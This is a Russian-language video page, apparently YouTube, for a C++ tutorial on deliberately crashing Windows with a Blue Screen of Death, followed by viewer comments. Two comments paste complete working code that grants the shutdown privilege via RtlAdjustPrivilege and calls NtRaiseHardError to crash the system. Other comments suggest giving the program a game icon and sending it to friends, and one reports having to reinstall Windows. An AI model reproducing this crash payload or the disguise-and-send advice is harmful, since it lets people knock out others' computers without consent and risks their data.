C++. Вызываем BSOD. Синий экран смерти. Кладем Винду. Вирус на C++
Вставка
- Опубліковано 25 лют 2020
- Поддержать проект - www.donationalerts.ru/r/bytepp
В этом уроке вы узнаете как положить винду в несколько строчек. В видео будет показано как вызвать синий экран смерти (BSOD - Blue Screen of Death).
Подписывайтесь на канал, ставьте лайки, задавайте вопросы в комментариях!
Вся суть программирования, всё уже давно кем-то сделано (библиотеки), тебе лишь нужно правильно это подключить и вызвать
Во многих случаях так и есть)
Это так сильно чувствуется когда программа простая) как в этом видео
Спасибо, работает, пишу с телефона
АХАХАХАХ
Аха-ха-ха
@Pozharnik 118 нее,ты че
Системные файлы же не удалились)
Синий экран не всегда значит то что компу звиздец
Жоска)
Хотелось бы подробного описания методов, продемонстрированных в ролике. (Очевидно, что можно просто загуглить, но если бы гуглить не приходилось, качество контента можно было бы считать более высоким)
Не слушал автора и у себя на основном компе запустил. Испугался до одури думал всё конец)))))
Не переживай, BSOD'ы на 10 и на 8 после перезагрузки проподают) (И на 7ке и на всите помойму тоже, не помню эту тему)
Расскажи как сделать консольную программку, которая по клавише будет выключать ПК (1 или 2)
Так это даже самому логично додуматься
а сели в NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, 0, 6, &response); выдает ошибку что типо нет такого &response
ооо )))) нужно будет такое на работе запилить хаха
😈
Потом п#зд&лей получить от начальника?
А какого года у тебЯ визуал студио
Что за функция, что она делает? Как вызывается ошибка и какая она (код ошибки)? Если вы делаете видео с обьяснением, так обьясняйте.
Почему у меня не получается подключить библиотеку "stdafx.h"? Пишет ошибку e1696...
его загружают самым первым, в первой строке напиши!
@NitrousOWO
#include "stdio.h"
#include
#include
using namespace std;
#pragma comment(lib, "ntdll.lib")
extern "C" NTSTATUS NTAPI RtlAdjustPrivilege(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN OldValue);
extern "C" NTSTATUS NTAPI NtRaiseHardError(LONG ErrorStatus, ULONG NumberOfParameters, ULONG UnicodeStringParameterMask,
PULONG_PTR Parameters, ULONG ValidResponseOptions, PULONG Response);
void BSOD()
{
BOOLEAN bl;
ULONG Response;
RtlAdjustPrivilege(19, TRUE, FALSE, &bl); // вызываем привилегии выключения(SeShutdownPrivilege)
NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, NULL, 6, &Response); //вызываем аварийное выключение пк
}
int main()
{
BSOD();
}
Поставьте лайк кому жалко моего друга.
А как сделать что нельзя было закрыть screen melting
Кстати можно поменять код ошибки с 0xc0000420 на 0xc0000350 или другой
Еще 0x0000x и x00000000xx0
Поменяй «STATUS_ASSERTION_FAILURE» на «(DWORD)L» например: «(DWORD)0x12345678L»
а на реальный пк можно запустить
Byte++, если запустить этот вирус виндо переустанавливать нада?
Я на виртуалке сколько их разных запускал, а в итоге она только перезагружалась и всё) ничего не ломалось на ней
@@Bytepp Лол я попробывал теперь -файлообменник, -проводник, винду реинсталлю НУ СПАСИБКИ!!!
@@user-lf4ge5dd5q, ну хоть без замены материнки
@@Bytepp Вот это оправдание
@@user-lf4ge5dd5q наверное надо на виртуалке это делать
Хотел спросить,на чем вообще пишутся вирусы?По типу Wannacry, Mydoom,Petya и тд?
Думаю большая часть на ассемблере, c/c++) пока инфу в интернете искал, встретил такой заголовок "Эксперты: код вируса WannaCry был написан на китайском языке"😆
@@kot9664 Это компьютерный червь который написан на visual basic script и перезаписывает файлы .mp3 .png и т.д. нанёс очень большой и непоправимый ущерб. Вот так вот.
only C/C++
Бабки, Бабки с"ка бабки
скажите, на других языках это тоже можно сделать? C#, Java, питон
Да делается, обращение делаешь к тем библиотекам которые были использованы, в данном ролике)
Возможно-ли написать похожу программу на Java?
Мне кажется на JS(Java Script), ещё хардкорнее будет).
Все можно писать на языке общего предназначение
А на него можно поставить иконку игры?
Конечно
@@Bytepp а ну изи троллинг, спасибо
@@what-lr6cj, это и через vs можно сделать и через другие программы
Я один такой, у которого ошибка *при компиляции* :
BsodScreen\x64\Release\BsodScreen.exe : fatal error LNK1120: неразрешенных внешних элементов: 1
не один
не один
Блин, сложно, я уже писал тестовые вирусы, но на другом языке
Как потом его убрать ?
Перезагрузить пк
stadfx.h пишет ошибку
его загружают самым первым, в первой строке напиши
@@themrsayer609 всё ровно не работает
@@madishman4861
#include
#include
#include
#include
#include
#include
#include
using namespace std;
#pragma comment(lib, "ntdll.lib")
extern "C" NTSTATUS NTAPI RtlAdjustPrivilege(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN OldValue);
extern "C" NTSTATUS NTAPI NtRaiseHardError(LONG ErrorStatus, ULONG NumberOfParameters, ULONG UnicodeStringParameterMask,
PULONG_PTR Parameters, ULONG ValidResponseOptions, PULONG Response);
void BSOD()
{
BOOLEAN bl;
ULONG Response;
RtlAdjustPrivilege(19, TRUE, FALSE, &bl); // вызываем привилегии выключения(SeShutdownPrivilege)
NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, NULL, 6, &Response); //вызываем аварийное выключение пк
}
int main(){
BSOD();return 0;}
Есть некоторые вирусы которые могут повредить конфигурацию ос , повреждать железо я ахуел когда узнал . У меня синий экран был то из за диска. То из за опеоативки ,конфигурация я все типы синих экранов уже посмотрел на своем пк . Жесть помогите если знаете с чем я связался!
Скорее всего у тебя не вирус а проблемы с комплектующими пк или драйверами, попробуй загрузиться в безопасном режиме и откатить дрова
Не очень понятно, что написано в коде. Что за методы? и т.д.
Если это возможно, поясните. А то просто вредоносный код и только . Познавательного смысла ролик не несёт. Спасибо.
Скорее всего автор сам не имеет понятия как это работает.
Вообще, можно загуглить и разобраться, дело двух минут, но для остальных объясню:
Вначале идет описывание функций, т.к некоторые намернно незадекларированы.
Первая функция RtlAdjustPrivilege дает/забирает доступ к определенным правам, без которых некоторые функции не получится вызвать.
Пройдемся по аргументам:
Первый: 19 - номер привилегии, с которым мы будем работать, в данном случае это SE_SHUTDOWN_PRIVILEGE, полный список есть в wdm.h
Второй: true - если тру, то привилегия выдается, если фолс, соответственно забирается.
Третий: false - если тру, то привилегия выдается только для потока в котором она вызывалась, если фолс, то для всего процесса.
Четвертый аргумент возвращает предыдущее состояние привилегии, то есть была ли она выдана или нет.
Вторая функция как раз таки и вызывает бсод путем передачи OptionShutdownSystem в предпоследний аргумент, но вызвать её можно только имея определенные права, а именно SE_SHUTDOWN_PRIVILEGE, который мы как раз и выдаем предыдущей командой.
@@fals3r99 да вы прям ходячий заголовочный файл WINAPI
Ох уш эти хацкеры
Замечание к названию.
Это не вирус, а его возможная 'полезная' нагрузка.
Где заражение? Где размножение?
Скинь другу вот и заражение, он по приколу знакомому скинет вот и размножение
ИМХО, что бы ролики смотрелись еще лучше, пожалуйста, убери из роликов свое "английское" произношение. Зачем оно здесь? БСОД есть БСОД, синий экран смерти, на этом покончили.